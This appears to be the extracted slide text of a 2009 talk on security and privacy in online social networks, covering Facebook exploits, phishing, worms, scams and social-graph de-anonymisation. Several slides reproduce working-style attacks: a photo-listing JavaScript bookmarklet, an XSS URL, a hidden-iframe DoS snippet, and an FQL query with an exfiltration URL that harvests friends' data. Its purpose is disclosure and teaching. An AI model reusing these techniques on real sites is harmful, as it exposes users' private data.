Security & Privacy in Online Social Networks

Presentation to EFF
Dec 21, 2009

Joseph Bonneau, Computer Laboratory
Hack #1a: PHP Photo Parameter Forging

Photo Exploits: PHP parameter fiddling (Ng, 2008)
Hack #1b: CDN Photo URL Forging

Photo Exploits: Content Delivery Network URL fiddling
Hack #1c: JS Photo Album listing

Jessica Shang

Info

Jessica only shares some of her profile information with everyone. If you know Jessica, send her a message or add her as a friend.

Basic Information

Networks:
- Harvard Alum '08
- Cambridge Grad Student '09
- Princeton Grad Student

Sex: Female

Send Jessica a Message

Information

Networks:
Harvard Alum '08
Cambridge Grad Student '09
Princeton Grad Student
Hack #1c: JS Photo Album listing

JavaScript addition:

```javascript
javascript:(function(){function y(){if(x.readyState==4)
    {q=x.responseText.substring(9);p=eval('//+q+');document.getElementById('tab_canvas').innerHTML=p.payload.tab_content;}}
x=new XMLHttpRequest; x.onreadystatechange=y; x.open('POST','http://www.facebook.com/ajax/profile/tab.php',true); x.send('id='+ProfileURIController._profileId+'&v=photos___a=1');})();
```
Hack #1c: JS Photo Album listing
Overview

I. The Social Network Ecosystem
II. Security
III. Privacy
IV. The Future
A Brief History

- SixDegrees.com, 1997
- Friendster, 2002
- MySpace, 2003
- Facebook, 2004
- Twitter, 2006

Exponential Growth

Facebook - Total Active Users

InsideFacebook.com
Global Players (4/2009)

WORLD MAP OF SOCIAL NETWORKS

Created on Many Eyes (http://many-eyes.com) © IBM

Credit: Vincenzo Cosenza
What's Unique About Social Networks?

Just LAMP websites where you list your friends...
What's Unique About Social Networks?

Mike Barash Location scouting for Photography.Book.Now

3 hours ago · Comment · Like · Share

Holly Kreuter at 10:20pm April 29
You get to do all the fun stuff.

michaela hillard → Stephanie Bognuda: even in 1997, we KNEW it was a conspiracy...

Tupac Is Alive!!!!!!!!!!!! | TMZ.com
Source: www.tmz.com
TMZ has obtained photographic evidence that Tupac Shakur is alive and well and drinking Hand Grenades in New Orleans -- unless we're terribly mistaken. ...

7 hours ago · Comment · Like · Share · See Wall-to-Wall

Firehose of user data
What's Unique About Social Networks?

Facebook Applications
What's Unique About Social Networks?

Facebook Connect

Connect The Run Around with Facebook to interact with your friends on this site and to share on Facebook through your Wall and friends' News Feeds. This site will also be able to automatically post recent activity back to Facebook.

Email: 
Password: 

By proceeding, you are allowing The Run Around to access your information and you are agreeing to the Facebook Terms of Use in your use of The Run Around. By using The Run Around, you also agree to the The Run Around Terms of Service.

Sign up for Facebook  Connect  Cancel

Facebook Connect
## Web 2.0?

<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript, SQL</td>
<td>FBML</td>
</tr>
<tr>
<td>DB Queries</td>
<td>SMTP, Usenet, etc.</td>
<td>FBQL FB Mail</td>
</tr>
<tr>
<td>Email</td>
<td>XMPP, OpenID</td>
<td>FB Groups FB Chat</td>
</tr>
<tr>
<td>Forums</td>
<td>RSS, FB Stream</td>
<td>FB Stream FB Connect</td>
</tr>
<tr>
<td>Instant Messages</td>
<td></td>
<td>FB Photos</td>
</tr>
<tr>
<td>News Streams</td>
<td></td>
<td>FB Video FB Notes</td>
</tr>
<tr>
<td>Authentication</td>
<td></td>
<td>FB Status Updates</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td></td>
<td>FB Points FB Events</td>
</tr>
<tr>
<td>Video Sharing</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Blogging</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Microblogging</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Micropayment</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Event Planning</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Classified Ads</td>
<td></td>
<td>FB Marketplace</td>
</tr>
</tbody>
</table>
“Given sufficient funding, all web sites expand in functionality until users can add each other as friends”
Facebook is the SNS that Matters

- Dominant
  - Largest and fastest-growing
  - Most internationally successful
  - Receives most media attention
- Advanced
  - Largest feature-set
  - Most complex privacy model
  - Closest representation of real-life social world
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=read_stream

Credit: theharmonyguy
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=1

Credit: theharmonyguy
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=%3Cscript
%3Ealert(document.getElementById(%22post_form_id %22).value);%3C/script%3E

Credit: theharmonyguy
I. The Social Network Ecosystem
II. Security
III. Privacy
IV. The Future
Mum murdered over Facebook profile status

By Richard Smith 2/09/2009

'Man stabbed lover over site'

A mum-of-four was murdered by her partner after she changed her Facebook profile to "single", a jury heard yesterday.
SNS Threat Model

- Account compromise
  - Email or SNS (practically the same)
- Computer compromise
- Monetary Fraud
  - Increasingly becoming a payment platform
- Service denial/mischief
<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript, SQL, SMTP</td>
<td>FBML, FBQL</td>
</tr>
<tr>
<td>DB Queries</td>
<td></td>
<td>FB Mail</td>
</tr>
<tr>
<td>Email</td>
<td></td>
<td>FB Groups</td>
</tr>
<tr>
<td>Forums</td>
<td></td>
<td>FB Chat</td>
</tr>
<tr>
<td>Instant Messages</td>
<td></td>
<td>FB Stream</td>
</tr>
<tr>
<td>News Streams</td>
<td></td>
<td>FB Connect</td>
</tr>
<tr>
<td>Authentication</td>
<td></td>
<td>FB Photos</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td></td>
<td>FB Video</td>
</tr>
<tr>
<td>Video Sharing</td>
<td></td>
<td>FB Notes</td>
</tr>
<tr>
<td>Blogging</td>
<td></td>
<td>FB Status Updates</td>
</tr>
<tr>
<td>Microblogging</td>
<td></td>
<td>FB Points</td>
</tr>
<tr>
<td>Micropayment</td>
<td></td>
<td>FB Events</td>
</tr>
<tr>
<td>Event Planning</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Classified Ads</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The Downside of Re-inventing the Internet

- SNSs repeating all of the web's security problems
  - Phishing
  - Spam
  - 419 Scams & Fraud
  - Identity Theft/Impersonation
  - Malware
  - Cross-site Scripting
  - Click-Fraud
  - Stalking, Harassment, Bullying, Blackmail
Phishing

Genuine Facebook emails

From: Facebook <notification+f_s6a629@facebookmail.com>
Reply-to: noreply <noreply@facebookmail.com>
To: Joseph Bonneau <jbonneau@gmail.com>
Date: Thu, Apr 30, 2009 at 12:36 AM
Subject: Stella Nordhagen tagged a photo of you on Facebook

Stella tagged a photo of you in the album "Lent-ilicious!".

To see the photo, follow the link below:

Thanks,
The Facebook Team
Shoshana sent you a message.

Subject: Look at this!

"fbstarter.com"

To reply to this message, follow the link below:
http://www.facebook.com/n/?inbox/readmessage.php&t=1139989896147&mid=63b67eG334d4G1da651eG0

Phishing attempt, April 30, 2009
Self-propagating Worms

Koobface worm, launched August 2008

Email:

From: Facebook <notification+f_s6a629@facebookmail.com>
Reply-To: noreply <noreply@facebookmail.com>
To: Joseph Bonneau <jbonneau@gmail.com>
Date: Fri, Dec 5, 2008 at 5:08 PM
Subject: Katie Gunst sent you a message on Facebook...
Mailed-By: facebookmail.com

Katie sent you a message.

Subject: Nice ass! But why you put them in the internet?

"YAYYYYY
http://www.facebook.com/l.php?u=http://geocities.com%2Frubingallegos09%2F%3Fdchbb850%3D13191be140046e6d498e1ac0d07d218c"
Self-propagating Worms

Koobface worm, launched August 2008
Self-propagating Worms

You are about to leave MySpace.com

In an effort to stop phishing, we are warning you:

DO NOT ENTER YOUR MYSPACE PASSWORD on this new website!

This warning does not mean that there is anything dangerous about the website you are about to visit. It is just a warning not to enter your MySpace password there, even if it looks like a MySpace login page.

Follow External Link To:  http://www.dizzspace.com/signup/friend_r_andagirl/

Tom's Blog about Phishing  Tom's Blog about this Warning Page

Go Back to MySpace

Don't show me this alert again.
Password Sharing

Find People You Email
Searching your email account is the fastest and most effective way to find your friends on Facebook.

Your Email: jbonneau@gmail.com
Password: 

Find Friends

Valid webmail address

Find Your Friends

Web Email (Hotmail, Gmail, Yahoo, etc.)

Invite contacts from your email account.

Find People You IM

Find out which of your AOL Instant Messenger or Windows Live Messenger buddies are on Facebook.

Import AIM Buddy List »
Import Windows Live Contacts »
<table>
<thead>
<tr>
<th>From:</th>
<th>Psychic - Alex Silver</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Alex Silver</td>
</tr>
<tr>
<td></td>
<td>California Psychic</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Date:</th>
<th>Apr 29 11:35 PM</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Subject:</th>
<th>Psychic Stimulus Package</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Body:</th>
</tr>
</thead>
</table>

**Psychic Stimulus Package**  
**Alex Silver**  

**VISIT MY SITE**

For a limited time I am offering an introductory offer to all new clients. Get a 15 minute live psychic reading online and YOU SET THE PRICE. Pay whatever you can afford or feel is fair.

This is a good way to save some money and also get to know me, see what I can do and to get answers to your pressing psychic questions.

Use the PayPal BUY NOW button below and enter any amount that feels right to you. Once you have completed the payment process you will be redirected and your psychic reading will take place with me in the chat box on your left.
Calvin: hey
Evan: holy moly. what's up man?
Calvin: i need your help urgently
Evan: yes sir
Calvin: am stuck here in london
Evan: stuck?
Calvin: yes i came here for a vacation
Calvin: on my process coming back home i was robbed inside the hotel i loged in
Evan: ok so what do you need
Calvin: can you loan me $900 to get a return ticket back home and pay my hotel bills
Evan: how do you want me to loan it to you?
Calvin: you can have the money send via western union
Botnet Command & Control

Twitterbot, August 2009
SNS-hosted botnet

- Idea: add malicious JavaScript payload to a popular application

- Example: Denial of Service:

```html
<iframe name="1" style="border: 0px none #ffffff;
width: 0px; height: 0px;"
src="http://victim-host/image1.jpg"
</iframe><br/>
```

Common Trends

- Social channels increase susceptibility to scams
  - Personal information also aids greatly in targeted attacks
- Fundamental issue: SNS environment leads to carelessness
  - Rapid, erratic browsing
  - Applications installed with little scrutiny
  - Fun, noisy, unpredictable environment
  - People use SNS with their brain turned off
Common Trends

• Centralisation helps in prevention
  - Complete control of messaging platform, blocking, revocation

• Social Context also useful
  - Can develop strong IDS
  - Analyse link structure, profiles, behavior logs
Web Hacking

- Most SNS have a poor security track record
  - Rapid growth
  - Complicated site design
  - Many feature interactions
- Third party apps even worse (“Month of Facebook Bugs”)
- Lack of attention to security
  - Over half of sites failing even to deploy TLS properly!
FBML Translation

Facebook Markup Language


Translated into HTML:


Result: arbitrary JavaScript execution (Felt, 2007)
Facebook Query Language

Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)
Hack #3: Facebook XSRF/Automatic Authentication

Credit: Ronan Zilberman
Overview

I. The Social Network Ecosystem
II. Security
III. Privacy
IV. The Future
'Congrats to Uncle C' – how his wife's Facebook page exposed new MI6 head

- Page removed as Miliband plays down security lapse
- Children, pets and swimwear revealed

Sam Jones and Richard Norton-Taylor
guardian.co.uk, Sunday 5 July 2009 22.21 BST
Article history

John Sawers, who takes up the post of MI6 boss in November. Photograph: Emmanuel Dunand/AFP/Getty Images
Data of Interest

• Profile Data
  - Loads of PII (contact info, address, DOB)
  - Tastes, preferences
• Graph Data
  - Friendship connections
  - Common group membership
  - Communication patterns
• Activity Data
  - Time, frequency of log-in, typical behavior
Major Privacy Problems

- Data is shared in ways that most users don't expect
- “Contextual integrity” not maintained
- Three main drivers:
  - Poor implementation
  - Misaligned incentives & economic pressure
  - Indirect information leakage
Poor Implementation
Poor Implementation

**enable photo tagging:**
- People can tag my photos with their friends
- My friends can tag me in photos
- People can see a list of photos I am tagged in

☑ yes

Orkut Photo Tagging
Facebook Connect Applications

Facebook Connect is a way to use applications outside of Facebook. You can take your Facebook profile information all over the Internet, and send interesting information back to your Facebook account.

When your friend connects their Facebook account with an application outside of Facebook, they will be able to compare their Facebook Friend List with information from that website in order to invite more friends to connect.

☐ Don't allow friends to view my memberships on other websites through Facebook Connect.
Poor Implementation

- Applications given full access to profile data of installed users
- Even less revenue available for application developers...
Hack #4: Application Data Theft

What happens when you take a quiz...
Hack #4: Application Data Theft

Facebook Application Architecture
Hack #4: Application Data Theft

http://sochr.com/i.php?name=[Joseph Bonneau]&nx=[My User ID]&age=[My DOB]&gender=[My Gender]&pic=[My Photo URL]&fname0=[Friend #1 Name 1]&fname1=[Friend #2 Name]&fname2=[Friend #3 Name]&fname3=[Friend #4 Name]&fpic0=[Friend #1 Photo URL]&fpic0=[Friend #2 Photo URL]&fpic0=[Friend #3 Photo URL]&fpic0=[Friend #4 Photo URL]&fb_session_params=[All of the quiz application's session parameters]

URL for banner ad
Hack #4: Application Data Theft

```
select uid, birthday, current_location, sex, first_name, name, pic_square, relationship_status FROM user WHERE uid IN (select uid2 from friend where uid1 = '[current user id]') and strlen(pic) > 0 order by rand() limit 500
```

Query made by banner ad through user's browser
Hack #4: Application Data Theft

What the users sees...

Create Your Own Quiz >

Hey Peter
Hot singles are waiting for you!!
Terms of Service, hi5:

We provide your Personal Information to third party service providers who work on behalf of or with hi5 under confidentiality agreements to provide some of the services and features of the hi5 community and to help us communicate with hi5 Members. These service providers may use your personal information to communicate with you about offers and services from hi5 and our marketing partners. However, these service providers do not have any independent right to share this information.

If you decide to use one of the additional services that are offered by our partners, we may forward Personal Information to these partners to enable them to provide the services that you requested. We also provide information to third-party advertising companies, as described in the next section.

Please be aware that the handling of your Personal Information by our partners or the third-party advertising companies is governed by their privacy policy, not ours.
Economic Pressure

- Major survey of 45 social networks' privacy practices
- Key Conclusions:
  - “Market for privacy” fundamentally broken
  - Huge network effects, lock-in, lemons market
  - Sites with better privacy less likely to mention it!
  - **Privacy Salience**
Promotional Techniques

- Number/Sample of Users
- Photo Sharing
- Friends Are Already Members
- Communicate with Friends
- Share Videos/Music
- Discover New People
- Signup is Free
- Profile Personalisation
- Privacy Controls
- Blogging
- Applications/Games

Proportion of sites featuring this promotional argument:

- General purpose (N=29)
- Non general purpose (N=16)
The Push for Openness...

Please update your privacy settings

Facebook's new, simplified privacy settings give you more control over the information you share. We've recommended settings below, but you can choose to apply your own settings to any of the fields.

<table>
<thead>
<tr>
<th></th>
<th>Everyone</th>
<th>Old Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>About me</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Family and Relationships</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Work and Education</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Posts I Create</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Friends of friends</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Photos and Videos of Me</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Birthday</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Religious and Political Views</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Email Addresses and IM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Address</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Your custom settings will be preserved for:
- IM Screen Name, Mobile Phone and Other

Some important things to remember:
- You can change your settings at any time from your Privacy page and those changes will take effect immediately. Learn more.
- Information you choose to share with Everyone is available to everyone on the Internet.
- When you visit a Facebook-enhanced application, it will be able to access your publicly available information, which includes name, profile photo, gender, current city, networks, friend list, and pages. This information is considered visible to Everyone.

Save Settings
Information leaked by the Social Graph...
“Traditional” Social Network Analysis

- Performed by sociologists, anthropologists, etc. since the 70’s
- Use data carefully collected through interviews & observation
  - Typically < 100 nodes
  - Complete knowledge
  - Links have consistent meaning
- All of these assumptions fail badly for online social network data
Traditional Graph Theory

• Nice Proofs
• Tons of definitions
• Ignored topics:
  • Large graphs
  • Sampling
  • Uncertainty
Many nice models

- Erdos-Renyi
- Watts-Strogatz
- Barabasi-Albert

Social Networks properties:

- Power-law
- Small-world
- High clustering coefficient
Real social graphs are complicated!
When In Doubt, Compute!

We do know many graph algorithms:

• Find important nodes
• Identify communities
• Train classifiers
• Identify anomalous connections

Major Privacy Implications!
Privacy Questions

- What can we infer purely from link structure?
Privacy Questions

• What can we infer purely from link structure?
  A surprising amount!
• Popularity
• Centrality
• Introvert vs. Extrovert
• Leadership potential
• Communities
Privacy Questions

• If we know nothing about a node but its neighbours, what can we infer?
Privacy Questions

• If we know nothing about a node but its neighbours, what can we infer?
  A lot!

• Sexual Orientation
• Gender
• Political Beliefs
• Location
• Breed?
Privacy Questions

• Can we anonymise graphs?
Privacy Questions

• Can we anonymise graphs?

Not easily...

• Seminal result by Backstrom et al.: Active attack needs just 7 nodes
• Can do even better given user's complete neighborhood
• Also results for correlating users across networks
• Developing line of research...
De-anonymisation (active)

A Social Graph with Private Links
De-anonymisation (active)

Attacker adds k nodes with random edges
De-anonymisation (active)

Attacker links to targeted nodes
De-anonymisation (active)

Graph is anonymised and edges are released
De-anonymisation (active)

Attacker searches for unique k-subgroup
De-anonymisation (active)

Link between targeted nodes is confirmed
De-anonymisation (passive)

- Similar to above, except $k$ normal users collude and share their links
- Only compromise random targets
De-anonymisation results

• 7 nodes need to be created in active attack
  • De-anonymize 70 chosen nodes!

• 7 nodes in passive coalition compromise ~ 10 random nodes
Cross-graph De-anonymisation

• Goal: identify users in a private graph by mapping to public graph
• “Shouldn't” work: graph isomorphism isn't thought to be in \( P \)
• Works quite well in practice on real graphs!
Cross-graph De-anonymisation

Public Graph

Private Graph
Cross-graph De-anonymisation

Step 1: Identify Seed Nodes
Cross-graph De-anonymisation

Step 2: Assign mappings based on mapped neighbors
Cross-graph De-anonymisation

Public Graph

Private Graph

Step 3: Iterate
Cross-graph De-anonymisation

- Demonstrated on Twitter and Flickr
  - Only 24% of Twitter users on Flickr, 5% of Twitter users on Flickr
  - 31% of common users identified (~9,000) given just 30 seeds!
- Real-world attacks can be much more powerful
  - Auxiliary knowledge
  - Mapping of attributes, language use, etc.
Privacy Questions

• What can we infer if we “compromise” a fraction of nodes?
Privacy Questions

- What can we infer if we “compromise” a fraction of nodes?
  A lot...
- Common theme: small groups of nodes can see the rest
  - Danezis et al.
  - Nagaraja
  - Korolova et al.
  - Bonneau et al.
Privacy Questions

• What if we get a subset of neighbours for all nodes?
Privacy Questions

- What if we get a subset of $k$ neighbours for all nodes?
- Can still approximate most functions of the graph
  - Bonneau et al.
  - Danezis et al.
  - Nagaraja
Overview

I. The Social Network Ecosystem
II. Security
III. Privacy
IV. The Future
Questions for the future

• How will SNS make money?
  • Banner Advertising
  • Brand management
  • Real-time search/Open-source intelligence
  • Subscription/“freemium”
Questions for the future

- How will long-term SNS be architected?
  - Proprietary walled-garden
  - Commercial, with open standards
  - De-centralized
Questions for the future

• How will third-party developers be policed?
  • Technical limitations
  • Policing
  • Reputation
Questions for the future

• Who will regulate SNS?
  • Self-regulation
  • Government
    • Some interest from Canadian PC, Spain, Germany, ENISA, FTC
  • User Democracy?
  • Non-profits/academics
    • EFF and friends :-)


My Reading List

- http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html
- Questions?